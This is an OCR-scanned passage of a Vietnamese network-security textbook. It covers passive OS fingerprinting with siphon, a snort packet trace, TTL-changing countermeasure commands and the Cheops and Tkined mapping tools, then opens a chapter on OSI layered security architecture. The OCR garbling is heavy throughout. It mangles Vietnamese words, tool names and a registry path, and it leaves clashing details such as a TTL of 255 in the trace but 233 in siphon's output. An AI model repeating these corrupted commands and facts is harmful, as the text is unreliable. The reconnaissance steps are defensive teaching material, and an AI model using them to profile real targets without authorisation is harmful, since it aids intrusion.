ngin xép thu déng.

Cac chir ky thu dong

Ta co thé st dung nhiéu chit k¥ khac nhau dé xac dinh mot hé diéu hanh.
Chung ta chi giéi han tim hiéu mét s6 thudc tinh lién quan bing mot ving
TCP/IP.

¥V TTL  Hé diéu hanh thiét lap cai gi nhu 1a thoi gian hoat dong trén goi
tin di1?

m Kich ¢ ctra s6 Hé diéu hanh thiét 1ap cai gi 1a Window Size?

A DF Hé diéu hanh c6 thiét 1ap tinh ning Khong phén tach bit?

Bing cach phan tich mot cach thu dong mdi thudce tinh va so sanh cac két qua
v6i co s& dit liéu thudce tinh d3 biét, ban co thé xac dinh dwoc hé diéu hanh tir
xa. Mac dau phuong phap nay khong thé dam bao mang la1 mot két qua chinh
x4c sau moi lan nhung cac thudc tinh c¢6 thé duoc két hop dé tao ra mot két
qua dang tin cay. Thu thuat nay chinh la phuong thirc hoat dong cta siphon.
Ta cung tim hiéu mdt vi du vé phuong thirc hoat dong ctia cong cu nay.
Néu nhu chung ta telnet khdi béng hé thong (192.168.1.10) dé tac dong
(192.168.1.11) thi ching ta c6 thé xac dinh mot cach thu dong hé diéu hanh
dang su dung siphon.
[shadow]# telnet 192.168.1.11



Su dung thiét bi danh thl thong dung snort, chung ta co thé xem lai mét
phan dau vét goi tin cta két noi telnet.

06/04 —11:23:48.297976 192.168.1.11:23 ->192.168.1.10:2295

TCP TTL:255 TOS:0x0 ID:58934 DF
FESHTEEA® Seq 0xD3B709A4 Ack: OXBEO9B2B7 Win: 0x2798
TCP Options == NOP NOP TS: 9688775 9682347 NOP WS: 0 MSS:1460

Xem 3 thudc tinh TCP/IP, chung ta nhin thiy ring
V¥ TTL = 255

m Window Size = 2798

A Khong phan tach bit (DF) =Yes

Bay gio chung ta cung xem lai file co s& dit 1i€u siphon osprints.cont:
[shadow]# grep -1 solaris osprints.conf

# Window: TTL:DF: Operating System DF = 1 for ON, 0 for OFF
2328:255:1: Solanis 2.6 -2.7

2238:255:1: Solaris 2.6 - 2.

2400:255:1: Solaris 2.6 -2.7

2798:255:1: Solaris 2.6 -2.7

FE88:255:1: Solans 2.6 - 2.

87C0:255:1: Solans 2.6 -2.7

FAF0:255:0 Solans 2.6 -2.7

FFFF:255:1: Solanis 2.6 -2.7

Ta thElV ring muc s6 4 cé cac thudc tinh chinh xac cla dau vét snort: kich c&
ctra s6 2798, TTL 255, DF bit set (twong duong 1). Do vay ta c6 thé chic chin
két luan la Hé diéu hanh muc tieu dang su dung siphon.

|crush| siphon -v -1x10 -o fingerprint.out

Running on: ‘crush’ running FreeBSD 4.0 RELEASE on a(n) 1386

Using Device: x10

Host Port TTL DF Operating System
192.168.1.11 23 233 ON Solaris 2.6 - 2.7

Nhu vay chung ta co thé doan OS muc tiéu la Solaris 2.6 mdt cach kha dé
dang. Chu v 1a ta cé thé tién hanh doan cé co s& ma khdéng can phai giri mot
go1 tin nao to1 192.168.1.11 &

Mbt ké tan cong c6 thé sit dung Thim do thu dong dé liét ra nhitng nan
nhan tiém ning chi bing thao tac truy nhip vao web site va phan tich mot dau
vét mang hoac st dung mot cong cu nhu siphon. Mac dau day la mot thu thuat
kha hitu hiéu nhung né ciing c¢é nhitng diém han ché nhét dinh. Trudc hét, cac
img dung tu xay dung cac goi tin khong st dung cung mét chit ky nhw hé diéu
hanh. Do vay két qua co thé s& khong chinh xac. Thu hai, mot may chu tur xa
cé thé dé dang thay d6i cac thude tinh két ndi.



Solanis: ndd -set /dev/ip ip def ttl ‘number’
Linux: echo ‘number’ > /proc/sys/net/ipv4/ip default ttl
NT: HKEY LOCAL MACHINE\System\CwrentControlSet\Services\Tcpip\Paramenters

® Bién phap doi phé phat hién hé diéu hanh thu dong
Xem bien phat ngan chan trong “Céc bien phap dbi phé phét hién hé diéu
hanh™ ¢ phan dau chuong nay.

TOAN BO ENCHILADA: CAC CONG CU PHAT HIEN TU DONG

Tinh pho thong 10
Tinh don gian
9
Tinh hiéu qua
9
Mhrc dé rui vo
9

Hién nay ngay cang co nhiéu cac cong cu mo1 duoc viét ra nhim hd tro viée
phat hien mang. Mac dau chung ta thng thé 1iét ké ra toan bd cac cong cu
nhmlg chung ta cling can chu trong dén 2 tién ich phu sé& bd xung vao kho
cong cu ma chung ta da tim hiéu.

Cheops (http://www marko.net/cheops/), duoc mo ta trong Hinh 2-7 la mot
tién ich tuyét vol, mot cong cu anh xa mang da nang. Cheops hop nhat ping,
traceroute, cac tinh ning quét cong, phat hién hé diéu hanh (théng qua queso)
trong mot cong cu. Cheops co giao dién don gian mo ta cac he thong va mang
lién quan bing hinh anh giup chung ta hiéu 18 duoc md hinh

Tkined la mot phan trong bd Scotty co tar dia chi
http://wwwhome.cs.utwente nl/~schoenw/scotty/. Tkined la mot trinh soan
thao duoc viét trong Tel ¢6 tinh ning hop nhat céc céng cu quan i mang khac
nhau qua do grup ban phat hien cac mang IP. Tkined co kha nang mo rong lon
va giup ban thuc hién cac hoat déng thim do mang, hién thi két qua bang hinh
anh. Mic dau cong cu nay khong thuc hien tinh nang phat hién hé diéu hanh
nhung no co thé thuc hién nhiéu nhiém vu nhu di dé cap dén & phan dau
chuong nay va trong Chuong 1. Ngoai cong cu Tkined, ta cling nén tim hiéu
mot s0 cong cu kha trong bo Scotty.

@ Cac bién phap doi phé cac cong cu phat hién tw dong



Nhitng céng cu nhu Scotty, tkined va cheops sit dung két hop tat ca cac thu
thuat ma chung ta da tim hiéu truoc do. Ciling cac thu thuat phat hién tan cong
s€ duoc ap dung cho viéc phat hién nhitng cong cu phat hién tu dong nay.

SR Choops Hetwerk User Interface . .

0T 230 T2 28

Mr230 T8

fSaved Yool cheops-map®

Hinh 2-7. Cheops cung cap cac tién ich network-
mapping trong mot go1 hinh anh.

KET LUAN

Vira roi chung ta di tim hiéu, nghién ctru nhitng cong cu va thi thuat can thiét
thue hién tinh ning ping sweep, quét cong TCP va ICMP, va phat hién hé
diéu hanh. St dung céac cong cu ping sweep, ban cé the xac dinh duoc cac he
thu:}ng dang hoat dong va Ghl ra duoc nhiing muc ti€u tiém nang. Su dung cac
cong cu va thu thuat quet cong TCP va UDP ban c6 thé phat hien duoc nhiing
dich vu tiém nang dang o trang thai nghe va phan nao biét duoc muc do gap
il 1o cua mo1 hé thﬂng Cubi cung ta da trinh b.'an,,r cach ké tan cmng sur dung
phan meém phat hién chinh xac hé diéu hanh dé xac dinh hé diéu hanh cu thé
ma hé thdng muc tiéu st dung. Khi nghién ctru trong phan tiép ching ta sé
thay ring nhitng thong tin cé duoc cho dén bay gi¢ 1a rat quan trong dé thuc
hién mot cudc tan cong tap trung.



Chuwong 3
An ninh trong kien truc giao thirc co phan lop

Cac kién tric giao thirc ¢6 phén 16p la co so dé két n6i mang may tinh
hién dai. Chiung cho phép thuﬂl ké mang phu hop vo1 cac img dung khong
bién gidi, cac cong nghé truyén thong lién quan khong bi han ché va cac k¥
thudt lién théng khéng giéi han. Muc dich chinh cua phén 16p 1a mé dun hoa
cdc van dé dic thi cla giao thire, chang han nhw cdc van dé ric roi riéng cua
giao thire co thé dwoo phat trién mot cach doe lap va c6 thé dwoc kéthop va
phéi hop theo nhiéu cach khac nhau dé cho ra mét giao thirc “hoan chinh”.
Mo rong thém nira thi van dé mé dun hoa nay cung con ¢6 thé len véo ca
qua trinh thue tha, ching han nhu cac cau thanh khac nhau @ua giao thire co
thé dwoc cu thé hoa trén cdc mb dun phéan mcm hay cac_san phﬁm phan cirng
khac nhau. Chuwong nay sé ban vé mét chu dé quan trt;mg, do6 1a moi lién hé
gifra g1am sat an ninh mang va phan lop kién trac. . %

Kién tric lién théng cac hé théng mo' (me:t tat tieng Anh la OSI —
Open System Interconnection) la mét co so phan‘16p giao thire da duoc cong
nhén. Tiéu chuan OSI dau tién thiét lap ra mé hinh kién tric nay la Mo hinh
tham chiéu co s& (Basic Reference Mudel) ISOfth 7498-1. Cac tiéu chuan
OSI khéc thi dinh nghia cac giao thife dae'thu dé phu hop vé1 mo hinh nay.
Con cac kién tric g1a0 thuc khau, dang chu y nhat la bé giao thic Intemet
TCP/IP, thi dinh nghia cac giao\thuc tao ra cac phuong an khac nhau cua
giao thoe OSI hinh thie tal Illﬂt sé 16p dé phu hop véi mé hinh phan 16p
tong thé chung.

Quyen sach nay | }eu ¢au can co su hiéu biét co s& vé kién triic OSI
cung mdt s6 kién thac nhat dinh vé cau tric bén trong va cac giao thie cua
cac lop. Dé gmp d@ cac ban doc trong linh vwe nay. chwong nay sé bat déau
bing viéc gidi thléu tong quan vé mot sr:: khai niém OSI co ban va cac tai
licu thamikhde V€ cac tidu chuan quéc té dwoc tng dung. N6 cing trinh bay
nhitng tiéu iehuan giao thirc mang Internet ién quan va mor hién hé cua
ching vb1kac kién tric OSIL. DP6i véi nhitng ban doc mudn tim hicu day du
ve linh vue nay thi nén tham khao cac tai liéu cho sau day. [BLAI, DIC1] sé&
cung cap cho céc ban nhimg kién thirc day di vé OSL Nhitng ban c6 thé doc
mudn tim hxeu chi tiét vé cac 16p trén thi c6 thé doc [HEN1]. Mudn biét chi
tiét ve trién vong thwe thi cna OSI cac ban ¢6 thé tim doc [ROS1]. Con
mudn biét vé bd giao thire day du cua mang Internet cac ban hay tham khao
[COMI].

Chuwong nay ciing di sau vao trinh bay nhitng van dé lién quan dén b
tri cac dich vu an ninh vao cac lop kién tric va cac nguyén ly co ban dwa ra



nhitng quvét dinh b6 tri nhu vay. M6 hinh kién tric an ninh bon murc sé
duoc glm thlﬂll nhu mdt md hinh OSI nhé, thue té va don g1an hon khi trinh
bay vé cac Van dé bbd tri an ninh. M6 hinh bén muc nay duoc dung trong
sudt ca quyén sach nay mdi khi néi vé bo tri cac dich vu an ninh 16p.
No61 dung cua chuwong duoc chia ra thanh cac muc sau:
(1)Nhitng nguyén ly chung trong phan lop cac giao thirc va cac thuat ngit
kém theo duoc gidi thiéu trong M6 hinh tham chiéu co s& ctia OSI
(2)Nhitng céu tric, dich vu va giao thirc ctia cac lép OSI dic thu
(3)B6 giao thirc TCP/IP clia mang Internet va quan hé clia né véi kién
truc OSI
(4)B5 tri ciu tric cia dich vu an ninh co trong mo hinh bon muc, va
(5)Phuong thuc quan tr1 cac dich vu an ninh lién quan dén cac lop kién
truc

3.1 Cac nguyen ly va cong nghe phan lop giao thuc
Trong thuc té, ¢ su truyén thong gitta cac heé thong thuc. Pé phuc vu cho
muc dich dinh nghia cac giao thuc truyen thong gitra chung, cac tiéu chuan
OSI dua ra khai niém vé mdt md hinh ctia mot hé thong thuc duo tén gor la
mot hé tlmng mo. Heé thmng cua mo hinh duoc co1 la phai co cau truc theo
cac 16p. Piéu nay khong can do1 hoi cac hé thong thuc can phai duoc thuc
thi theo cac cau truc giong nhau, ma nguol dung co thé lwa chon ciu truc
thuc thi bat ky dé dwa ra cach van hanh cudi cung phu hop véi cach van
hanh duoc dinh nghia b1 mo hinh st dung. Vi du, mét thuce thi co thé gop
cac chuc nang cua nhiéu tang lce: nhau vao trong mot phan mém ma khong
can phai ¢6 ranh glm gifta c4c tang.
Lich su phat trién
Tiéu chuan OSI dau tién duoc Uy ban K§ thuat TC97 cia ISO cong b vao
nim 1977 (Cac hé thong xt Iy thong tin). Va sau d6 Tiéu ban TC97/5C16
(Lien thong gitta cac he thcmg mo) da duoc thanh lap vo1 muc tieu phat tI'lEIl
mot mo hinh va dinh nghia cac tieu chuin g1ao thic dé hd tro cac nhu cau
cua mot pham vi khﬂng han ché cac ung dung tren nhiéu cong nghé cua cac
phuong tién truven théng co ban. Du an da thu hut su chu y cua Hiép ho
Truven théng Qubc té (ITU) co quan dua ra cac khuyén cao duoc cac hang
truyén théng trén toan thé gidi ap dung (Trudc nim1993 chung duoc goi la
Nhiing khuyén cao cia CCITT). Va ra do1 su hop tac gitta ISO va ITU dé
xay dung Cac tiéu chuan Quoc té ISO thong nhat va cac khuyén céo cia ITU
trén OSIL

San pham c6 ¥ nghfa déng ké dau tién cia su hop tac nay 1a Mo hinh
Tham ChlE:ll Co ban cua OSI.. No duoc phat hanh vao nam 1994 nhu la Tieu
chuin qudc té ISO 7498 va nhu la Cac khuyén cao ITU X.200. Tai liéu nay



md ta mot kién tric bay tﬁng can duoc dung lam co s¢ dé dinh nghia doc lap
cac giao thirc 1ép riéng ré. Cac tiéu chuan d6i véi cac giao thirc dau tién
duoc phat hanh khong 1au sau khi M6 hinh Tham chiéu co sé& ra doi va ngay
sau do 1a cac tiéu chuan khéc cling duoc phat hanh dong loat.

Cac nguyén ly phan lop

M5 hinh OSI dua ra nhitng nguyén Iy nhat dinh dé xay dung cac giao thurc
truyén thong gifta cac 1ép. Trén hinh 3-1 trinh bay mét sé khai niém quan
trong.

Heé théng mo A Heé thé‘:-ng mo B
Dich vu lop N

Thue thé (N+1)

Lop N Thue thé (N+1)
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H inh 3-1: Cac khai niém phan lop cua OSI

Xet mot lop gitta nao do, gia su la lop N. Trén lop N la 16p N+1 va
lop duor no la lop N-1. Trong ca hai he thnng mé& ¢o mot chirc nang ho tro
l6p N. Piéu nay duoc danh dau bing thuc the (N) trong mdi hé théng mé.
Cip cac thuc thé truyen thong (N) cung cap mot dich vu cho cac thuc thé
(N+1) tmng he thDﬂg twong ung. Dich vu nay bao gﬂm ca viec chuven dir
liéu cho cac thuc thé (N+1).

Cac thuc thé (N) lai tmyén tha::-ng vo1 nhau thong qua giao thuc truyén
tht::rng (N). Giao thurc nay bao gbm cu phap (dmh dang) va nghla (}f nghia)
cua dit liéu duoc trao doi gifta chung cong Vo1 cac quy tic ma cac giao thirc
can phai tuin theo. Giao thuc (N) duoc truyén bing cach st dung mét dich
vu do céc thuc thé (N-1) cung cap. Mobi thong diép duoc gt trong giao thirc
(N) duoc biét nhu mot don vi dit liéu cta giao thite (N) (viét tit tiéng Anh la
PDU — Protocol Data Unit)

Mot nguyén ly quan trong tuan theo khai niém phan 16p nay la tinh
doc ldp cua lop. Do la mot dich vu lop (N) ¢o thé duoc dinh nghia va sau do
cO the dwoc dung dé dinh nghia cac giao thire cho lop (N+1) ma khong can
biét ring né di duoc giao thirc (N) st dung dé cung cap dich vu dé.



Bay lop cua OSI

M5 hinh tham chiéu OSI dinh nghia bay 16p nhu trinh bay trén hinh 3-2.
Cac giao thirc tir moi 1ép duoc nhom lai vdi nhau thanh mét cai goi la ngin
stack cta lép OSI. Mot ngin stack cda 1ép OSI thoda m3n cac yéu cau cda
mdt qud trinh trng dung 1a mot phan cta hé thong thuc thuc hién xi 1y thong
tin cho muc dich irng dung da cho.

Heé théng mo A Hé thong mo B
Giao tlmr: mlg dung

Lop tmg dung ilflscmeeinnssimsstoainimmsan i
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Lép lién két dir liéu

Hinh 3-2: M6 hinh bay lop cua OSI

Céc 16p va cac chirc ning chinh cta ching bao gém:
o Lép mg dung (16p 7): cung cap phuong tién dé qua trinh Umg dung
truy nhip vao moi truong OSL Cac tiéu chuan cla giao thic 16p ung
dung gidi quyét cac chirc ning truyén thong duoc ap dung cho mot ung
dung chuyen biét hoac mot ho cac img dung.
e LJp trinh dien (16p 6): chiu trach nhiém trinh dién thong tin ma thuc
thé 16p tng dung dung hodc tham chiéu dén trong qué trinh truyén thong
gilta ching.
® Lop phién lam viéc (1op 5): cung cap phuong tién dé cac thuc thé lop
trén to chuc va dong bo doi1 thoai gilta chung va quan ly qua trinh trao do1
dit 1éu cua chung.
. Ld’p truyén tai (16p 4): chiu trach nhiém truyén tai dit licu thong suét
gifta cac thuc thé 16p trén va gla1 phong chung khoi cac van dé chi tlet
lién quan dén cach cu thé dé truyén dit liéu duoc tin ciy va hiéu qua vé
gi4 thanh (chi phi thap).
* Lop mang (lop 3): dam trach viec truyén nhén théng tin gifta cac thuc
thé 16p trén mot cach ddc lap ma khong xet dén thoi gian 21l cham va
chay vong chd. O day bao gom ca truong hop khi co nhiéu mang con
duoc dung song song hodc ké tiép nhau. N6 lam cho céc 1ép trén khong



thé nhin thﬁy duoc cac tal nguyén truyén thong phia sau duoc su dung
(lién két cac dir liéu) nhu thé nao.

o Lop lién két dir liéu (16p 2): dam nhan viéc truyén dit liéu trén co sé
diém té1 diém va thiét 1ap, duy tri va giai phéng cac noi ghép diém toi
diém. N6 phat hién va c6 kha niing stra cac 131 ¢ thé xuat hién & dudi 16p
vat ly.

e Lép vdt Iy (I6p 1): cung cap phuong tién co khi, phuong tién dién,
phuong tien van hanh va phuong tien giao thuc dé kich hoat, duy tri va
ngat bd céac ndi ghep viat ly dung dé truven dir lieu theo bit gilta cac thuc
thé lién két dit lidu..

Hinh 3-3 trinh bay kién tric OSI ¢6 xét dén ¥ nghia cac mang con &
l6p mang. N6 biéu dién cach cac mang con c6 thé duoc st dung ké tiép
nhau dé hd tro mét phién truyén théng tmg dung nhu thé nao (¢ thé st dung
ca nhitng cong nghé vé noi lién thong hodc cac cdng nghé vé phuong tién
truyén thong khac nhau)

Hé théng mo A Hé théng giit cham Hé théng mé B

Lép img dung T[RRI I——
Lop trinh dién N —— —————— |
Lop phién lam viéc N EART——. A——
Lép van chuyén ||||.’-||||
Lop mang N s
Lop lién ket dit igu | BT e 18 2 e 1%
Lop vt ly 21 e 18 2L

M Moéitruong vatly [T M| Moi trwong vat ly [I]

Hinh 3-3: M6 hinh phan 16p ctia OSI ¢6 nhiéu

Cac lop trén va cac lop duoi

Tu mot trién vong thuc té:, cac lop cua OSI co thé duoc co1 nhu la:
(a) cac giao thuc phu thuoc vao ung dung
(b)cac giao thirc kem theo méi1 truong dac thu
(¢) hoac mot chuc nang cau noi gitra (a) Vél (b).

Cac giao thurc phu thudc tmg dung gﬂm cO Lop ung dung , Lop trinh
dién va Ldp phiBIl lam viéc. Pay la nhitng lop trén. Viec trién khai nhitng
16p nay dwoc gan chit vdi timg dung dang duoc hd tro va ching hoan toan
doc 1ap vdi cdng nghé hoic nhitng cong nghé truyeén thong dang st dung.



Cac lcrp con lai ndm trong cac muc (b) va (c) trén day la nhing lcrp
duoi. Cac giao thue phu thudc cong nghe cua phu’t:mg tién truyén théng déu
nam trong Lop vat Iy va Lop lién két dir liéu va céc lop con cua Lop mang
(cac lop phu thuoc mang GDH)

Churc ning cau ndi do Lép truyén tai va cac lép con trén cia Lép
mang dam nhiém. Cac lop con trén cua Lop mang cho phep mot giao dién
dich vu mang thich hop ludén san sang cho 1ép trén VOl chat lwong dich vu sé
thay doi tuy theo cac mang con dugc dung. Lop truyén tai cé nhiém vu lam
cho cac 1op trén no6 nhin thay duogc cac 1op duoi n6. No hodc nhan dugc cac
két n6i mang Vo1 dav da chat luwong cua dich vu hodc nang cap chét lwong
cta dich vu néu can, vi du, bang cach cung cap phat hién 161 va phuc héi
trong giao thuc truyen tai néu hiéu ning stra 161 cia Lép mang khong dav
du.

Cdc dich vu va tién ich lop

Dich vu do mét 16p bat ky cung cap duoc mb ta bdi thuét ngtt cde goc dich
vu. Chung dong vai tro la cac su kién hat nhan ta1 glac: dién dich Vi (tru’u
tuong). Mot dich vu lop duoc chia ra thanh mot s6 cac tién ich va mdi tién
ich la1 bao gﬂm mot nhom cac gﬂc dich vu lién quan. Nhin chung, mot tién
ich l1én quan dén tao va xtr Iy moét hoac nhiéu don vi dit liéu cla g1ao thurc
(PDU).

Vi du, trong dich vu truyan tal co moét tien ich nbi ghep T (T-
CONNECT) dung dé thiét 1ap mot ndi ghep truyén tai. N6 bao gom bon goc
dich vu (hai goc dich vu & mot dau dung dé khdi tao thiét lap nd1 ghep va hai
g-::}c khac & dau kia) va hai don vi1 PDU (mot don v1 dung dé gu1 dit licu theo
moi huéng). Moi lién hé gitta cac gdc dich vu va cac don vi PDU duoc md
ta trén hinh 3-4 nhu mot Iuoc dc- thot gian.

Kiéu phoi hop trén day gdm hai don vi PDU va bon gbc dich vu la rat
phc} bién va né dwoc biét nhw la dich vu dwoc xde nhdn. Mot treong hop pho
bién khac duoc biét nhu 1a dich vu khang dugc xac nhan chi co mot don vi
PDU va hai gﬂc dich vu. Vé co ban né déu gmng nhau vi nira dau cta kiéu
phoi hop duoc tring bay trén hinh 3-4.

Cdc dich vu co6 két noi va cdc dich vu khéng co két noi

C6 hai ché db dich vu hoan toan khé{: nhau tai moi ld‘p bPo la:
e Ché d6 dich vu co két noi dua trén cac két noi (N) do lop (N) cung
cap. Mot két nm la mot su ket hop gitra hai thuc thé (N) c6 mot pha thiét
lap, pha truven va pha ngit. Trong pha truyén mot dong cac don vi dit
liéu duoc chuyén qua thay mit cho cac ngu’m dung lop tren cua dich vu.
e Ché do dich vu khﬂng ca két noi gom su van chuyen tung don vi1 di
liéu don lé ma khong yéu cau co su lién hé qua la1 gitta chung. Dich vu
c6 thé chuyeén vong quanh cac don vi dit liéu mot cach doc lap, khong cap
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thong bao nhan wva khong dam bdao cap phat theo trinh tu
orl.

Céc goc dich Truyén tai don vi dit lidu Céc goc dich
vu truyén tai cua giao thirc (PDU) vu truyen tai
(dau khoi tao) (dau nhan)
Yéu cau “ef  Yeucau | Hién thi
KETNOIT KET NOI PDU[ ... EIET NOIT
Aac nhan Déptmg Dép ung
KETNOIT . KETNOT KETNOIT
Ly do ¢ Hinh 3-4: Céc tién ich va cac goc dich vu

thong co so co ké thira tinh két nbi (Vi du nhu cac mang chuyen mach go1)
va mot sb khac lal ké thura tinh khong két nm (vi du nhu cac mang cuc bo).
Chuc nang cau nbi {:r Lop mang va Lop truven tai la su ho tro hoat dﬂng cho
cac lop trén co két ndi trén cac cong nghé tru‘gen thong khong két noi.

Va1 cac lop trén huong két ndi thi két noi tai cac 16p riéng ré anh xa
truc tiép véi nhau. Mot két hop ung dung (tuong duong vo1 mot ket nm cua
Lop tmg dung) thi anh xa truc tiép t&1 mot két noi trinh dién va két noi nay
la1 anh xa truc tlep dén két ndi phién lam viéc. Tuy nhién, céc lop duon do
thi khong con can dén anh xa mot -mdt nhu the Vi du, mot két noi truyen tal
c6 thé duoc dung lai nhiéu lan cho cac két noi phien lam viéc, va mot két noi
mang ciing ¢6 thé van chuyén mét sé hdn hop céc két nbi cting mét luc.

3.2 Cac kién truc, dich vu va giao thitc caa lép OSI

Lop ung dung

Lop ung dung co thé bao gdm nhiéu churc ndng khac nhau va chung co the
can phai duoc dinh nghia theo cac nhom chuan hoa khac nhau. Do viy, can
phai co cach tiép cin md dun dé dinh nghia céc giao thitc cho Lép tmg dung.
CAu truc cta Lép tmg dung duoc dinh nghia trong chuan ISO/IEC 9545.
Chuén nay dinh nghia cac khai niém duoc dung dé mé ta ciu tric bén trong
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ciia mdt thuc thé tmg dung cung véi nhitng khai niém duoc dung dé mé ta
cac quan hé tmh cuc giira nhu‘ng lan o01 cua cac thuc thé ing dung.

Khoi cau tric co s nhat {:ua mcnt thuc thé ung dung duoc go1 la mot
phan tir dich vu ung dung (viét tit tieng Anh la ASE — Application-Service-
Element). (M6t ASE c6 thé duoc coi nhu 1a mot tai liéu). Cau thanh ciu tric
chung hon ctia thyc thé tmg dung 1a mét doi twong dich vu Umg dung (viét
tit tién Anh 1a ASO — Application-Service- Object) duoc xay dung tur cac
ASE va/hodc cac ASO khac. Cac nguyén ly cau truc lién quan dén cac thuc
thé tmg dung, ASE va ASO s& duoc trinh bay tiép trong chuong 12.

C6 hai khéai niém quan trong md ta cac quan hé gitta cac thuc thé timg
dung dang truyén thong 1a:

e Phoi hop img drmg Po la mot quan he phm h-::rp gitta hai lan goi cta
ASO co nhiém vu quan Iy viéc st dung hai chiéu cia dich vu trinh dién
cho cac muc dich truyén théng. Pay la mdt su twong duong cia mot két
ndi doi véi Lép tmg dung. N6 ciing cé thé duoc coi nhu la mot biéu dién
ctia két ndi trinh dién d6i véi Lép ung dung.

® Hoan canh ung dung: Do la mdt bo cac quy tac duoc chia xé bdi hai
lan goi ciia ASO nhim hd tro mdt phdi hop tmg dung. Pay 1a giao thirc
ctia Lép tmg dung hoan toan hiéu qua khi s dung trén mot phoi hop tng
dung

Mot ASE dugc chu y dic biét la phan tir dich vu kiém sodt phoi hop
(VlBt tit tleng Anh la ASCE — Association Control Service Element). ASE
nay ho tro viec thiét 1ap va két thic cac phbi hop ung dung va no can phai co
trong tat ca moi hoan canh ng dung. Mot biéu dién thuc té cia ASCE la né
dinh nghia cac tthg tin cua Lop ung dung duoc van chuven cac trao doi
giao thuc de thiét lap va két thuc cac két ndi trinh dién va cac két noi phién
lam viéc. Dich vu ASCE duoc dinh nghia trong tiéu chuan ISO/IEC 8650.

Mot sé:- ung dung dua trén ticu chuan ISO d3 duoc dinh nghia. Cac
tiéu chuan gDm cac dinh nghia veé cac giao thuc cua Lop ung dung cung vor
vat chat hd tro nhu cac dinh nghia vé cac mé hinh théng tin va cac thu tuc
can tuan theo trong hé thong. Cac ung dung chinh dwoc néi dén trong cudn
sach nay la:

e Cdc hé thong quan ly tin nhdn (vlet tit tiéng Anh la MHS — Message
Handling Systems): Ung dung nay hd tro cho viéc nhin tin dién tir gbm
gu1 thu dien tu gitta cac ca nhan, chuyen EDI va nhin tin thoai. MHS da
la mot tmg dung OSI hang dau trong cac dic tinh an ninh hop nhat. Ung
dung nay va cac dac tinh an ninh cﬁa no duoc trinh béy trong chuong 13.

e Thu muc: Ung dung nay cung cap co s& dé két noi lién thong cac hé
thong xi 1y thoéng tin sao cho cung cap hé thong thu muc tich hop, nhung




phan tan vé vat Iy véi cac cong dung tiém an khac nhau. Ung dung thu
muc va cac dac tinh an ninh cta no sé€ duoc trinh béy trong chuong 14.
e Truyén tép, truy nhip va quan tri (vmt tit tiéng Anh la FTAM — File
Transfer, Access, and Management): Ung dung FTAM cé nhiém vu hd
tro doc hodc ghi cac tép tin trong mot hé may tinh ¢ xa, truy nhap vao cac
cau thanh ctua nhiing tép tin do, va/ hodc quan tri1 (vi du nhu, tao hodc
x04) nhimg tép tin d6. FTAM duoc dinh nghia trong tiéu chuin ISO/IEC
8571.
Cac tién ich quan tr1 mang OSI cung dong gop mot ung dung OSI. Chung s€
duoc ban dén trong chuong 15.
Céc tiéu chuin ctia Lép tng dung OSI gdom mot glao thue xay dung mo
hinh quan trong va cong cu xay dung duoc got la phan tir dich vu hoat déng
fur xa (vlet tit tleng Anh la ROSE — Remote Operation Service Element).
ROSE duva trén mét mé hinh may cha - t¢ (chent-server) chung, trong do
mbt hé théng (may t&) goi cac hoat dong nhat dinh nao do trong hé théng
khac (may chi). Giao thirc cé thé duoc biéu dién bing ngdn nglt kém theo
lénh goi va cac két qua hoiic médt béo 161 c6 thé duoc tra vé tir hoat dong cia
hé thong. P61 véi mot img dung thich hop véi md hinh nay cong dung cia
ROSE c6 thé tao thuan loi cho dinh nghia giao thitc. ROSE duoc ding trong
cac giao thuc quan tr1 MHS, thu muc, va mang OSI. M6 hinh, dich vu va
giao thire ROSE duoc dinh nghia trong tiéu chuan ISO/IEC 9072 da thanh
phan.
Lép trinh dién
Lép trinh dién giai quyét cac van dé lién quan dén cach trinh dlen cac thu:}ng
tin tng dung (nhw moét chudi bit) cho cac muc dich truyén tai. Tong quan vé
hoat dong cua lop nay dugc trinh bay trong chuong 12.

Cac tiéu chuin vé dich vu va giao thirc trinh dién duoc quy dinh trong
tiéu chuan ISO/IEC 8822 va 8823.

Mot cap tiéu chuan cua Lo‘p trinh dién dic biét quan trong la tiéu
chuan ISO/IEC 8824 va tiéu chuan ISO/IEC 8825 lién quan dén Ghi chu cu
phap truu tuwong 1 (ASN.1). ASN.1 duoc cac ung dung OSI cling nhu cac
tmg dung phi OSI dung nhiéu dé dinh nghia cac hang muc théng tin ctia Lép
tmg dung va dé m3 hoa cac chudi bit twong Umg cho chung. Gidi thidu vin tat
v€ ASN.1 duoc cho trong Phu luc B. Cac ban duc chua quen vo1 ASN.1 co
thé doc phu luc truoc bit dau vao phan II ctia cudn sach nay. Cac thong tin
chi tiét vé ASN.1 céc ban ciling cé thé tim doc trong tai liéu [STE1].




Lop phién lam viéc

Lop phién lam viéc thuc hién cac chirc nang nhu quan tn d61 thoai va dﬂng
bo lai dudi su kiém soat truc tiép cta Lép tmg dung. Quan tri d6i thoai hd
tro cac ché dd hoat dong song cbng va ban song cong cho cic Umg dung.
Bé‘mg bd lai hd tro chén cac dau dé‘:ng bo vao mdt cum dit liéu va tién hanh
dong bd véi déng bd trude d6 trong diéu kién co 161, Cac tiéu chuan doi véi
dich vu va giao thirc ciia phién lam viéc dwoc quy dinh trong tiéu chuan
ISO/IEC 8326 va 8327.

Cac ban luan Ve no1 dung kién tric an ninh sau nay sé két luan rcﬁing,
Lép phién 1am viée khong déng vai tro trong viéc cung cap an ninh, nén cac
ban doc chua 1am quen véi 16p nay c6 thé yén tim bd qua.

Lép truyén tai

Dich vu Lop truyén tai duoc dinh nghia trong tieu chuan ISO/IEC 8072. N6
hd tro truyén tai dit liéu thong sudt tir hé thong nay dén hé tht:}ng khac. No
lam cho cho cac nguor dung (lop tren) cua no khc-ng phu vao cac cong nghé
truyen thﬂng co so va cho phep ho CD kha nang xac dmh th chat hmﬂg cua
dich vu (ching han nhu céc thong s6 vé thong luong, tan suat tai hién 161 va
xac suat hdng hoc). Néu chat luong cua dich vu cua cac dvu mang co s
khong thich dang thi Lop truven tai s& nang cap chat luong cda dich vu 1én
murc can thiét bang cach bd xung gia tri (vi du phat hién/ kho1 phuc 101)
trong g1ao thirc riéng cua no. Dich vu truyén tai co ca bién thé dua vao két
n6i va bién thé khong cé két ndi.

Cac grao thure cua Lop truyen tai phai ho tro dich vu dua trén két noi
duoc dinh nghia trong tieu chuin ISO/IEC 8073. Cé nim cap giao thuc khac
nhau sau day:

. Cﬁp 0 khong bd Xung gia tr1 nao cho thiét bi mang
Cap 1 hd tro khic phuc 161 khi Lép mang phat hién c¢é 161
Cép 2 hd tro dén céc két ndi truyén tai trén mot két ndi mang
Cap 3 thuc hién khac phuc va don kénh

